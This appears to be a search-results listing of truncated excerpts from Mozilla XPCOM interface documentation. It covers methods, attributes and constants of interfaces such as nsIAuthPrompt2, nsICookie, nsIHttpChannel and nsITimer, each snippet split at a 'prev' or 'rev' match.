shscreen. quit() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) exit the event loop, shut down the app. void quit( in pruint32 aferocity ); parameters aferocity one of the e* constants. createwindowlessbrowser() this method creates a browser that does not have a window. if the browser is exited, this windowless browser will not p
revent firefox from exiting. e10s notes: the browser is created in process. to get an out of process element you want to communicate with via message manager, then append a browser element with remote attribute set to true. follow this bug - bugzilla - bug 1280028 nsiwebnav createwindowlessbrowser( in bool aischrome ); var webnav = services.appshell.createwindowlessbrowser(true); var docshell...
nsIAuthInformation
sword information. authentication prompts should not show a username field. attempts to change the username field will have no effect. nsiauthprompt2 implementations should, however, show its initial value to the user in some form. for example, a paragraph in the dialog might say "please enter your password for user jsmith at server intranet". this flag is mutually exclusive with #need_domain. p
revious_failed 16 we have already tried to log in for this channel (with auth values from a p
revious promptauth call), but it failed, so we now ask the user to provide a new, correct login. ...
nsIAuthPrompt2
en window, or something else depending on the user interface) so that the user is not deluged with prompts. note: this method may throw any exception when the prompt fails to queue, for example because of out-of-memory error. it must not throw when the prompt could already be potentially shown to the user. in that case information about the failure has to come through the callback. this way we p
revent multiple dialogs shown to the user because consumer may fall back to synchronous prompt on synchronous failure of this method. nsicancelable asyncpromptauth( in nsichannel achannel, in nsiauthpromptcallback acallback, in nsisupports acontext, in pruint32 level, in nsiauthinformation authinfo ); parameters achannel the channel that requires authentication. acallback aconte...
nsIBoxObject
lastchild nsidomelement the last child of the box, in box-ordinal-group order. read only. layoutmanager nsiboxlayoutmanager obsolete since gecko 1.9 nextsibling nsidomelement the next sibling of the box, in box-ordinal-group order. read only. paintmanager nsiboxpaintmanager obsolete since gecko 1.9 parentbox nsidomelement the parent of the box, in box-ordinal-group order. read only. p
revioussibling nsidomelement the p
revious sibling of the box, in box-ordinal-group order. read only. screenx long the x coordinate of the box relative to the screen origin, in device pixels. read only. screeny long the y coordinate of the box relative to the screen origin, in device pixels. read only. width long the width of the box, in css pixels. read only. x long the x coordinate of the bo...
nsICRLInfo
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description lastfetchurl autf8string the url this crl was last fetched from. read only. lastupdate prtime the time this crl was created at. read only. lastupdatelocale astring lastupdate formatted as a human readable string formatted according to the environment locale. read only. nameindb astring the key identifying the crl in the database. read only. nextupdate prtime the time the suggested next update for this crl. read only. ...
nsICacheEntryDescriptor
ent. this will fail if the cache entry is stream based. the cache entry holds a strong reference to this object. the object will be released when the cache entry is destroyed. file nsifile get the disk file associated with the cache entry. read only. predicteddatasize print64 stores the content-length specified in the http header for this entry. checked before we write to the cache entry, to p
revent ever taking up space in the cache for an entry that we know up front is going to have to be evicted anyway. see bug 588507. securityinfo nsisupports get or set security info on the cache entry for this descriptor. this fails if the storage policy is not store_in_memory. storagepolicy nscachestoragepolicy get or set the storage policy of the cache entry. see nsicache for the definitions of...
nsIChannelEventSink
veto the redirect by throwing an exception or passing a failure code in the callback. note: vetoing the redirect simply means that newchannel will not be opened. it is important to understand that oldchannel will continue loading as if it received a response of http 200, which includes notifying observers and possibly display or process content attached to the http response. if the sink wants to p
revent this loading it must explicitly deal with it, e.g. by calling oldchannel->cancel() there is a certain freedom in implementing this method: if the return-value indicates success, a callback on callback is required. this callback can be done from within asynconchannelredirect() (effectively making the call synchronous) or at some point later (making the call asynchronous). if the return value in...
nsICollection
turn value nsisupports item at the index position. queryelementat() performs a queryinterface on the item at the specified index into the collection. void queryelementat( in pruint32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result ); parameters index position of the item to be queried. uuid nsiidref of the item. result comparison result of the p
revious two parameters. removeelement() removes an item from the collection. void removeelement( in nsisupports item ); parameters item nsisupports item to be removed from the list. setelementat() replaces an item at a specified index in the collection with a new one. void setelementat( in pruint32 index, in nsisupports item ); parameters index index position where the new...
nsICommandLine
asesensitive); astring handleflagwithparam(in astring aflag, in boolean acasesensitive); void removearguments(in long astart, in long aend); nsifile resolvefile(in astring aargument); nsiuri resolveuri(in astring aargument); attributes attribute type description length long number of arguments in the command line. the application name is not part of the command line. read only. p
reventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example). this flag allows the default action to be p
revented. state unsigned long the type of command line being processed. see state constants. read only. windowcontext nsidomwindow a window to be targeted by this com...
nsIComponentManager
d_is(aiid),retval] out nsqiresult result ); parameters acontractid the contractid of the factory that is being requested. aiid the interface type to be returned. result the resulting interface pointer. exceptions thrown ns_error_factory_not_registered indicates that the specified class is not registered. removebootstrappedmanifestlocation() unregisters the chrome.manifest file p
reviously registered with the addbootstrappedmanifestlocation() method. see addbootstrappedmanifestlocation() for details. void removebootstrappedmanifestlocation( in interface nsilocalfile alocation ); parameters examples using addbootstrappedmanifestlocation in a bootstrapped extension for firefox 8 and 9: alocation the directory or xpi to stop reading the chrome.manifest from. functi...
nsICompositionStringSynthesizer
se() and/or setcaret() are not called properly, e.g., sum of alength of calls of appendclause() is not same as composition string set by setstring(), this throws an exception. after a call of this, all stored composition string information is cleared. therefore, you can reuse the instance for modifying composition string. boolean dispatchevent(); return value if dispatched event's default is p
revented, returns true. however, this must always return false since all dispatching dom events are not cancelable. setcaret() sets caret position in the composition string set by setstring(). this is optional. i.e., you may not call this before dispatchevent(). void setcaret(in unsigned long aoffset, in unsigned long alength); parameters aoffset caret offset in the compositio...
nsIConsoleService
amessage — the string to be logged. you must provide this. asourcename — the url for a file associated with an error. this will be a hyperlink in the error console, so you'd better use real url. you may pass null if it's not applicable. asourceline — the line #alinenumber from asourcename file. you are responsible for providing this line. you may pass null if you are lazy; this will p
revent the source line showing in the error console. alinenumber and acolumnnumber — specify the exact location of an error. acolumnnumber is used to draw the arrow pointing to the problem character. aflags — one of flags declared in nsiscripterror. at the time of writing, possible values are: nsiscripterror.errorflag = 0 nsiscripterror.warningflag = 1 nsiscripterror.exceptionflag =...
nsICookie
ad only. name acstring the name of the cookie. read only. path autf8string the path pertaining to the cookie. read only. policy nscookiepolicy holds the sites compact policy value. read only. status nscookiestatus holds the p3p status of cookie. read only. value acstring the cookie value. read only. constants constant value description status_unknown 0 the cookie collected in a p
revious session, and its information no longer exists. available status_accepted 1 the cookie was accepted. status_downgraded 2 the cookie was accepted but downgraded to a session cookie. status_flagged 3 the cookie was not accepted. status_rejected 4 the cookie was rejected. policy_unknown 0 the cookie collected in a p
revious session, and its information no longer available. policy_none ...
nsICryptoHash
eries of bytes using nsiscriptableunicodeconverter and a unicode encoding that you specify. note: different encodings will produce different hash values! you should always use the same encoding if you intend to compare results. the example below shows how to convert a string to bytes in the utf-8 encoding, and then compute the sha256 hash of it. the result is computed as a hex string as in the p
revious example. in this example, we use the update() method to pass an array of bytes to be hashed. as in the p
revious example, we convert the binary result to a hex string. var str = "hello world"; var converter = components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. createinstance(components.interfaces.nsiscriptableunicodeconverter); // we use utf-8 here, you can choose othe...
nsIDOMNode
nodes nsidomnodelist read only. firstchild nsidomnode read only. lastchild nsidomnode read only. localname domstring read only. namespaceuri domstring read only. nextsibling nsidomnode read only. nodename domstring read only. nodetype unsigned short read only. nodevalue domstring ownerdocument nsidomdocument read only. parentnode nsidomnode read only. prefix domstring p
revioussibling nsidomnode read only. constants constant value description element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 methods appendchild() nsidomnode appendchil...
nsIDOMStorageItem
dom/interfaces/storage/nsidomstorageitem.idlscriptable this interface represents an object in dom storage. this is for session storage. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; p
reviously, it was also used for global storage. attributes attribute type description secure boolean if true, the item was stored for an https page. note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages. however, http pages can only see items stored from http pages, and will not see items stored from https pages. as such, this a...
nsIDirectoryService
ider. the providers will be released when the service is destroyed at xpcom shutdown. call unregisterprovider() to force the directory service to relinquish ownership of a particular provider instance. void registerprovider( in nsidirectoryserviceprovider prov ); parameters prov the nsidirectoryserviceprovider to register with the service. unregisterprovider() unregister a provider that was p
reviously registered with the directory service. void unregisterprovider( in nsidirectoryserviceprovider prov ); parameters prov the nsidirectoryserviceprovider to unregister from the service. see also using nsidirectoryservice nsdirectoryservice ...
nsIDownloadProgressListener
adownload); obsolete since gecko 1.9.1 attributes attribute type description document nsidomdocument document the document of the download manager frontend. methods ondownloadstatechange() called when the status of a particular download changes. void ondownloadstatechange( in short astate, in nsidownload adownload ); parameters astate the p
revious state of the download. see nsidownloadmanager.constants for a list of possible values. adownload the nsidownload object representing the file whose download status has changed. you can get the new state of the download from this object. onlocationchange() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) void onlocationchange( in nsiwe...
nsIDroppedLinkHandler
e link title if it exists, or an empty string otherwise. return value a uri, or null if there is no valid link to be dropped. exceptions thrown ns_error_dom_security_err error will be thrown and the event canceled if the receiving target should not load the uri for security reasons. this will occur if the source of the drag initiated a link for dragging that it itself cannot access. this p
revents a source document from tricking the user into a dragging a chrome url for example. droplinks() given a drop event, determines the link being dragged. if non-empty links array is returned the caller can, for instance, load it. if empty links array is returned, there is no valid link to be dropped. void droplinks( in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [opt...
nsIEditorSpellCheck
edword ); parameters suggestedword missing description return value true if the specified word is misspelled; otherwise false. checkcurrentwordnosuggest() like checkcurrentword(), checks the word you give it, returning true if it is misspelled. this is faster than checkcurrentword() because it does not compute any suggestions. note: this does not clear any suggestions left over from p
revious calls to checkcurrentword(), so there may be suggestions, but they will be invalid. boolean checkcurrentwordnosuggest( in wstring suggestedword ); parameters suggestedword the word to check. return value true if the word is misspelled; otherwise false. getcurrentdictionary() returns the name of the dictionary currently in use. astring getcurrentdictionary(); parameters none. ret...
nsIFile
each element in the enumeration is an nsifile. read only. exceptions thrown ns_error_file_not_directory indicates that th...
nsIFocusManager
focus, regardless of other state. movefocus_forward 1 move focus forward one element, used when pressing tab. movefocus_backward 2 move focus backward one element, used when pressing shift+tab. movefocus_forwarddoc 3 move focus forward to the next frame document, used when pressing f6. movefocus_backwarddoc 4 move focus forward to the p
revious frame document, used when pressing shift+f6. movefocus_first 5 move focus to the first focusable element. movefocus_last 6 move focus to the last focusable element. movefocus_root 7 move focus to the root element in the document. movefocus_caret 8 move focus to a link at the position of the caret. this is a special value used to focu...
nsIFrameMessageManager
the short period after a frame has been removed from the dom and before its frame script has finished unloading. this parameter only has an effect for frame message managers in the main process. an alternative method to listen for death of frame script is to use message-manager-disconnect observer: observer notifications :: message manager. removemessagelistener() removes a message listener p
reviously added by calling addmessagelistener(). void removemessagelistener( in astring amessage, in nsiframemessagelistener alistener ); parameters amessage the name of the message for which to remove a listener. alistener an object implementing nsiframemessagelistener to stop receiving messages. sendasyncmessage() asynchronously sends a message to the listeners. void sendasyncmessa...
nsIHttpChannel
tion allowpipelining boolean this attribute is a hint to the channel to indicate whether or not the underlying http transaction should be allowed to be pipelined with other transactions. this should be set to false, for example, if the application knows that the corresponding document is likely to be very large. this attribute is true by default, though other factors may p
revent pipelining. this attribute may only be set before the channel is opened. exceptions thrown ns_error_failure if set after the channel has been opened. redirectionlimit unsigned long this attribute specifies the number of redirects this channel is allowed to make. if zero, the channel will fail to redirect and will generate a ns_error_redirec...
nsIJumpListBuilder
ed in jump lists; excess items added are dropped by the system. item insertion priority is defined as first to last added. users may remove items from jump lists after they are committed. the system tracks removed items between commits. a list of these items is returned by a call to initlistbuild(). nsijumplistbuilder does not filter entries added that have been removed since the last commit. to p
revent repeatedly adding entires users have removed, applications are encouraged to track removed items internally. each list is made up of an array of nsiwinjumplistitems representing items such as shortcuts, links, and separators. see nsijumplistitem for information on adding additional jump list types. method overview void abortlistbuild(); boolean addlisttobuild(in short acattype, in nsiarra...
nsIMacDockSupport
two types of elements: menu (if you would like to have sub menu items, make sure to set a label on the "menu" element) menuitem (like in example above) elements can be hidden by adding the hidden attribute to the menu or menuitem and setting it to true . ...
nsIMarkupDocumentViewer
hs. default is 1.0. hintcharacterset acstring hintcharactersetsource print32 minfontsize long the minimum font size to allow. note: this attribute was added late in the gecko 2.0 development cycle and was implemented by the nsimarkupdocumentviewer_mozilla_2_0_branch interface; it was merged into this interface in gecko 7.0. p
revdoccharacterset acstring textzoom float the amount by which to scale all text. default is 1.0. methods scrolltonode() scroll the make the specified node visible. void scrolltonode( in nsidomnode node ); parameters node the nsidomnode of the node to make visible. sizetocontent() tell the container to shrink-to-fit or grow-to-fit its contents. void sizetocon...
nsIMemory
ck of memory of a particular size. voidptr alloc( in size_t size ); parameters size the size of the block to allocate. return value if the memory cannot be allocated (because of an out-of-memory condition), null is returned. otherwise, it returns a pointer to the newly allocated memory segment. the result must be freed with a call to free() when it is no longer needed. free frees a p
reviously allocated block of memory. void free( in voidptr ptr ); parameters ptr the address of the memory block to free. this may be null, in which case nothing happens. heapminimize() attempts to shrink the size of the heap. a particular nsimemory instance may choose not to implement this method. void heapminimize( in boolean immediate ); parameters immediate if true, heap mini...
nsIMessenger
current navigation history. if caller just wants the count and current pos, they can pass in null for ahistory, which will be more efficent. if they want a list suitable for display, they should pass in an ahistory pointer, and they'll get returned an array with strings containing something like subject and sender of the message - other possible info is the folder containing the message, and the p
review text, if available. void getnavigatehistory(out unsigned long acurpos, out unsigned long acount, [array, size_is(acount)] out string ahistory); return value acurpos the current position in the history. acount the number of items in the history. ahistory an array of strings containing information about each entry in the history. ...
Building an Account Manager Extension
counts... if (server.type == \"imap\") return true; return false; }, queryinterface: xpcomutils.generateqi([ components.interfaces.nsimsgaccountmanagerextension ]) } step 2: building a component we convert the interface to a xpcom component and register it in the component manager as account manager extension. therefore we add the following code to the p
revious. the javascript file has to be saved either in the extension's or thunderbird's component directory. // define the contract information needed for this component... // ... the unique component identifier (change it if you copied this example!)... devmoaccountmanagerextension.prototype.classid = components.id("{659ce960-9dfb-11dd-ad8b-0800200c9a55}"); // ... the description and ... devmoacc...
nsIMsgAccountManagerExtension
which adds the new panel. this attribute is readonly! methods showpanel() before displaying a panel in the account manager this method is triggered. boolean showpanel( in nsimsgincomingserver server ); parameters server the account for which the panel should be displayed. return value a true indicates, that the account manager can display the panel for the given account, while false p
revents the panel to be loaded. see also nsimsgaccountmanager building an account manager extension ...
nsIMsgDBHdr
gh it is not saved until the database is committed. in clear, if you want to do a persistent change to a message header, such as marking it as read, or replied to, or whatever, you must do it through its corresponding nsimsgfolder (msghdr.folder) or nsimsgdatabase (msghdr.folder.msgdatabase). it is also mandatory to set msghdr.folder.msgdatabase = null after performing this kind of operations to p
revent leaking. don't even think about using orflags and/or andflags. method overview astring getproperty(in string propertyname); void setproperty(in string propertyname, in astring propertystr); void setstringproperty(in string propertyname, in string propertyvalue); string getstringproperty(in string propertyname); unsigned long getuint32property(in s...
nsIMsgDBView
inherits from: nsisupports implemented by: @mozilla.org/messenger/msgdbview;1. to create an instance, use: var dbview = components.classes[@mozilla.org/messenger/msgdbview;1?type=] .createinstance(components.interfaces.nsimsgdbview); where type designates different types of view's available. ...
nsINavBookmarksService
appending an item to a folder. type_bookmark 1 this is an index for type "bookmark". type_folder 2 this is an index for type "folder". type_separator 3 this is an index for type "separator". type_dynamic_container 4 this is an index for type "dynamic container". dynamic containers were removed in gecko 11, but the type index remains to p
revent reuse. methods addobserver() this method adds a bookmark observer. if ownsweak is false, the bookmark service will keep an owning reference to the observer. if ownsweak is true, then aobserver must implement nsisupportsweakreference, and the bookmark service will keep a weak reference to the observer. void addobserver( in nsinavbookmarkobserver observer, in boolean ownsweak ); ...
nsINavHistoryQueryOptions
ts 7 returns nsinavhistoryresultnode nodes for each bookmark contained into the defined tag. to specify the tag you need to add a folder=tag_folder_id to the query, and only one folder is allowed. note: using this result type forces the query type to be query_type_bookmarks. at this time, sorting methods are not supported; results will always be returned in
reverse order of insertion. query type constants constant value description query_type_history 0 query's type is history. query_type_bookmarks 1 query's type is bookmarks. query_type_unified 2 query's type is unified. redirects mode constants constant ...
nsINavHistoryResultObserver
nged. anewvisitdate the new value for the last visit date and time for the node. anewaccesscount the new access count value for the node. nodeiconchanged() called right after a node's icon property has changed. void nodeiconchanged( in nsinavhistoryresultnode anode ); parameters anode the node whose icon has changed. nodeinserted() called when an item is inserted into a container. the item p
reviously at the specified index (if any) and everything below it is shifted down by one. void nodeinserted( in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode, in unsigned long anewindex ); parameters aparent the container into which to insert the item. anode the node to insert into the container; it may be either a leaf or another container. anewindex the ind...
nsINavHistoryResultViewer
serted into a container. void nodeinserted( in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode, in unsigned long anewindex ); parameters aparent the container into which to insert the item. anode the node to insert into the container; it may be either a leaf or another container. anewindex the index at which to insert the item. remarks the item p
reviously at the specified index (if any) as well as everything below it, is shifted down by one. sortingchanged() called when the sorting order is changed to a particular mode. for trees, this would update the column headers to reflect the altered sorting. void sortingchanged( in unsigned short sortingmode ); parameters sortingmode one of the nsinavhistoryqueryoptions.sort_by_* constan...
nsIPrefBranch2
ce change observer. note: you must call removeobserver method on the same nsiprefbranch2 instance on which you called addobserver() method in order to remove aobserver; otherwise, the observer will not be removed. void removeobserver( in string adomain, in nsiobserver aobserver ); parameters adomain the preference which is being observed for changes. aobserver an observer p
reviously registered with addobserver. remarks registering as a preference observer can open an object to potential cyclical references which will cause memory leaks. these cycles generally occur because an object both registers itself as an observer (causing the branch to hold a reference to the observer) and holds a reference to the branch object for the purpose of getting/setting preference val...
nsIPromptService
position flags to set the labels of buttons in the prompt. constant value description button_title_ok 1 these flags are used to select standard labels from the user's current locale. button_title_cancel 2 button_title_yes 3 button_title_no 4 button_title_save 5 button_title_dont_save 6 button_title_
revert 7 button_title_is_string 127 this flag indicates that the label is passed as a separate string. use this for labels that don't match one of the constants above. button default flags these flags are used to select which button is the default. constant value description button_pos_0_default 0 button_pos_1_default 16777216 ...
nsIPushSubscription
her this subscription is subject to the background message quota. bool quotaapplies(); nsipushsubscription.quotaapplies() always returns false for system subscriptions. parameters none. isexpired() indicates whether this subscription has expired and must be renewed. a subscription expires if its service worker exceeds the quota, or if the desktop-notification permission for its origin is
revoked. bool isexpired(); nsipushsubscription.isexpired() always returns false for system subscriptions. parameters none. example const { classes: cc, interfaces: ci, utils: cu } = components; const scriptsecuritymanager = cc["@mozilla.org/scriptsecuritymanager;1"] .getservice(ci.nsiscriptsecuritymanager); const pushservice = cc["@mozilla.org/push/service;1"...
nsISHistory
dex of session history should be modified to the parameter index. exceptions thrown ns_ok history entry for the index is obtained successfully. ns_error_failure error in obtaining history entry for the given index. purgehistory() called to purge older documents from history. documents can be removed from session history for various reasons. for example to control memory usage of the browser, to p
revent users from loading documents from history, to erase evidence of prior page loads and so on. void purgehistory( in long numentries ); parameters numentries the number of toplevel documents to be purged from history. during purge operation, the latest documents are maintained and older numentries documents are removed from history. exceptions thrown ns_error_failure numentr...
nsIScriptError2
e the text of the message to add to the log. sourcename the url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will p
revent showing the source line in javascript console. linenumber the number of the line where the error occurred. columnnumber the column number where the error occurred. this is used to draw an arrow pointing to the problem character. flags one of the script error flag constants. category a string indicating what kind of code caused the message. there are quite a few category strings and the...
nsISecurityCheckedComponent
ility required to call this method. see capability strings for details. cancreatewrapper() returns a string indicating what permissions are required to create a wrapper for the given interface. string cancreatewrapper( in nsiidptr iid ); parameters iid the interface to reflect into javascript. return value the capability required to reflect this interface. note that if wrapper creation is p
revented, the properties and methods will not be defined on the javascript object, whereas if wrapper creation succeeds but methods/properties are p
revented, the properties and methods will be visible, not not usable. see capability strings for details. cangetproperty() returns the permissions required to get the specified property on the given interface. string cangetproperty( in nsiidptr iid, i...
nsISeekableStream
g long offset ); parameters whence specifies how to interpret the 'offset' parameter in setting the stream offset associated with the implementing stream, according to the table of constants above. offset specifies a value, in bytes, that is used in conjunction with the 'whence' parameter to set the stream offset of the implementing stream. a negative value causes seeking in the
reverse direction. exceptions thrown ns_base_stream_closed if called on a closed stream. seteof() this method truncates the stream at the current offset. void seteof(); parameters none. exceptions thrown ns_base_stream_closed if called on a closed stream. tell() this method reports the current offset, in bytes, from the start of the stream. long long tell(); parameters none. re...
nsISelectionPrivate
void endbatchchanges(); parameters none. native code only!getcachedframeoffset returns cached value for nstextframe::getpointfromoffset. void getcachedframeoffset( in nsiframe aframe, in print32 inoffset, in nspointref apoint ); parameters aframe inoffset apoint getenumerator() nsienumerator getenumerator(); parameters none. ret...
nsISessionStartup
. state jsval the session state, as a javascript object. read only. note: prior to gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5), this was a string. it was changed in order to improve performance, which was suffering due to the need to parse and stringify the data. constants session type constants constant value description no_session 0 there's no data available from the p
revious session. recover_session 1 the last session crashed. it will either be restored or about:sessionrestore will be displayed. resume_session 2 the p
revious session should be restored at startup. defer_session 3 the p
revious session is viable but shouldn't be restored without explicit action (with the exception of app tabs, which are always restored in this case). methods dorestore()...
nsIStreamListener
ore returning. void ondataavailable( in nsirequest arequest, in nsisupports acontext, in nsiinputstream ainputstream, in unsigned long aoffset, in unsigned long acount ); parameters arequest an nsirequest indicating the source of the data. acontext a user-defined context value. ainputstream an nsiinputstream from which the data is to be read. aoffset number of bytes that were sent in p
revious ondataavailable() calls for this request. in other words, the sum of all p
revious count parameters. if that number is greater than or equal to 2^32, this parameter will be pr_uint32_max (2^32 - 1). acount the number of bytes available for reading. you must read all of these bytes before returning to the caller. note: throwing an exception will cancel the request. ...
nsIStyleSheetService
uri of the stylesheet to load and register. type one of the type constants. sheetregistered() check if a stylesheet has been registered boolean sheetregistered( in nsiuri sheeturi, in unsigned long type ); parameters sheeturi uri of the stylesheet to check. type one of the type constants. return value returns true if a style sheet at sheeturi has p
reviously been added to the list of style sheets specified by type. unregistersheet() remove the style sheet at sheeturi from the list of style sheets specified by type. the removal takes effect immediately, even for already-loaded documents. void unregistersheet( in nsiuri sheeturi, in unsigned long type ); parameters sheeturi uri of the stylesheet to unregister. type ...
nsIThreadInternal
server nsithreadobserver get/set the current thread observer; set to null to disable observing. this attribute may be read from any thread but must only be set on the thread corresponding to this thread object. the observer will be released on the thread corresponding to this thread object after all other events have been processed during a call to shutdown. methods popeventqueue()
reverts a call to pusheventqueue(). when an event queue is popped, any events remaining in the queue are appended to the elder queue. void popeventqueue(); parameters none. pusheventqueue() causes any events currently enqueued on the thread to be suppressed until popeventqueue() is called. in addition, any new events dispatched to the thread are only processed if they are accepted by the specif...
nsITimer
e_repeating_precise_can_skip while also being less useful. so the distinction was removed. type_repeating_precise_can_skip 3 this repeating timer aims to have constant period between firings. the processing time for each timer callback should not influence the timer period. however this timer type guarantees that it will not queue up new events to fire the callback until the p
revious callback event finishes firing. if the callback takes a long time, then the next callback will be scheduled immediately afterward, but only once, unlike type_repeating_precise. if you want a non-slack timer, you probably want this one. methods cancel() cancels the timer. this method works on all types, not just on repeating timers -- you might want to cancel a type_one_shot timer, ...
nsITransaction
e undo stack. this method returns a boolean value that indicates the merge result. a true value indicates that the transactions were merged successfully, a false value if the merge was not possible or failed. if true, the transaction manager will release() the new transaction instead of pushing it on the undo stack. boolean merge( in nsitransaction atransaction ); parameters atransaction the p
reviously executed transaction to merge. return value missing description redotransaction() executes the transaction again. can only be called on a transaction that was p
reviously undone. in most cases, the redotransaction method will actually call the dotransaction() method to execute the transaction again. void redotransaction(); parameters none. undotransaction() restores the state to what it wa...
nsITreeBoxObject
the nsitreecolumn to check scrolltorow() scrolls such that the row at index is at the top of the visible view. void scrolltorow(in long index); parameters index the index of the row scrollbylines() scroll the tree up or down by numlines lines. void scrollbylines(in long numlines); parameters numlines the number of lines to scroll. positive values move down in the tree. p
revents scrolling off the end of the tree. scrollbypages() scroll the tree up or down by numpages pages. a page is considered to be the amount displayed by the tree. this method p
revents scrolling off the end of the tree. void scrollbypages(in long numpages); parameters numpages the number of pages to scroll. positive values move down in the tree. scrolltocell() scrolls such that a given...
nsIURI
wn ns_error_failure if port is not applicable to the uri scheme (e.g. about:blank) prepath autf8string the prepath returns the string before the path (such as "scheme://user:password@host:port"). this is related to the web origin concept of rfc6454. this is useful for authentication, managing sessions, or for checking the origin of an uri to p
revent cross-site scripting attacks while using methods such as window.postmessage(). note: some characters may be escaped. read only. ref autf8string returns the reference portion (the part after the "#") of the uri. if there is not one, an empty string is returned. note: some characters may be escaped. scheme acstring (us-ascii) the scheme is the pro...
nsIUpdateManager
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsiupdate getupdateat(in long index); void saveupdates(); attributes attribute type description activeupdate nsiupdate an nsiupdate object describing the currently in use update. this update is not in the history list. read only. ...
nsIVersionComparator
acstring a, in acstring b); methods compare() compare two version strings. long compare( in acstring a, in acstring b ); parameters a the first version. b the second version. return value if a and b are two version being compared, and the return value is smaller than 0, then a < b equals 0 then version, then a==b is bigger than 0, then a > b example function compa
reversions(a,b) { var x = services.vc.compare(a,b); if(x == 0) return a + "==" + b; else if(x > 0) return a + ">" + b; return a + "<" + b; } dump(compa
reversions("1.0pre", "1.0")); example - compare current browser version this example here uses nsixulappinfo component to get the version of the browser that the code is running in. see here: nsixulappinfo components.utils.import("resource:/...
nsIWebBrowserChromeFocus
embedding/browser/webbrowser/nsiwebbrowserchromefocus.idlscriptable implemented by the same object as nsiembeddingsitewindow. it represents the focus up-calls from mozilla to the embedding chrome. inherits from: nsisupports last changed in gecko 1.7 method overview void focusnextelement(); void focusp
revelement(); methods focusnextelement() set the focus at the next focusable element in the chrome. void focusnextelement(); parameters none. focusp
revelement() set the focus at the p
revious focusable element in the chrome. void focusp
revelement(); parameters none. see also see bug 70224 for gratuitous information. ...
nsIWebProgress
istener interface to be called when a progress event occurs. this object must also implement nsisupportsweakreference. anotifymask the types of notifications to receive. exceptions thrown ns_error_invalid_arg indicates that alistener was either null or that it does not support weak references. ns_error_failure indicates that alistener was already registered. removeprogresslistener() removes a p
reviously registered listener of progress events. void removeprogresslistener( in nsiwebprogresslistener alistener ); parameters alistener the listener interface p
reviously registered with a call to addprogresslistener(). exceptions thrown ns_error_failure indicates that alistener was not registered. ...
nsIWebProgressListener
these flags further describe the entity for which the state transition is occurring. these flags are not mutually exclusive (that is an onstatechange() event may indicate some combination of these flags). constant value description state_restoring 0x01000000 this flag indicates that the state transition corresponds to the start or stop of activity for restoring a p
reviously-rendered presentation. as such, there is no actual network activity associated with this request, and any modifications made to the document or presentation when it was originally loaded will still be present. state security flags these flags describe the security state reported by a call to the onsecuritychange() method. these flags are mutually exclusive. constant va...
nsIWindowWatcher
indow events inside nsiobserver.observe(). for example the following code will block the system because it will open windows continuously: function mywindowobserver() { this.observe=function(asubject, atopic, adata) { alert("window event: " + atopic) //and this is where the bugs origins because opening this alert will cause a window-open //event and the call of this method again (fo
rever) } } var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); ww.registernotification(new mywindowobserver()) alert("") //generate the first window-open event aobserver the nsiobserver to be notified when windows are opened or closed. aobserver should implement an observe method, which will be called with t...
nsIXPConnect
this method now correctly deals with cases where the passed in jsobject already has an associated xpcom interface for the cases: 1) the jsobject has already been wrapped as an nsixpconnectwrappedjs. 2) the jsobject is in fact an nsixpconnectwrappednative and thus already has an underlying xpcom object. 3) the jsobject is...
nsIXSLTProcessor
ransformtodocument(in nsidomnode source); nsidomdocumentfragment transformtofragment(in nsidomnode source, in nsidomdocument output); methods clearparameters() removes all set parameters from this nsixsltprocessor. this will make the processor use the default-value for all parameters as specified in the stylesheet. void clearparameters(); parameters none. getparameter() gets a parameter if p
reviously set by setparameter(). returns null otherwise. nsivariant getparameter( in domstring namespaceuri, in domstring localname ); parameters namespaceuri the namespaceuri of the xslt parameter. localname the local name of the xslt parameter. return value an nsivariant containing the value of the parameter. importstylesheet() imports the specified stylesheet into this xsltprocessor for tra...
nsIXULBrowserWindow
astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab ); parameters originaltarget the specified target for the link. linkuri the uri of the link that is about to be traversed. linknode the nsidomnode representing the dom node in which the link is located. isapptab whether or not the link being clicked is in an app tab. return value a string indicating the
revised target for the link. setjsdefaultstatus() sets the default status according to javascript's version of the default status. void setjsdefaultstatus( in astring status ); parameters status the status string. setjsstatus() sets the status according to javascript's version of the status. void setjsstatus( in astring status ); parameters status the status string. setoverlink() tells the ...
nsIXULRuntime
a different process from the main browser ui. read only. insafemode boolean whether the application was launched in safe mode. read only. is64bit boolean indicates whether the current firefox build is 64-bit. read only. logconsoleerrors boolean whether to write console errors to a log file. if a component encounters startup errors that might p
revent the app from showing proper ui, it should set this flag to true. os autf8string a string tag identifying the current operating system. this is taken from the os_target configure variable. it will always be available. read only. processid unsigned long the system process id of the caller's process. read only. processtype unsigned long the type of th...
nsIXULTemplateQueryProcessor
the results of a query and return them in an enumerator. the enumerator must contain nsixultemplateresult objects. if there are no results, an empty enumerator must be returned. the datasource will be the same as the one passed to the earlier initializeforbuilding() method. the context reference aref is a reference point used when calculating results. the value of aquery must be the result of a p
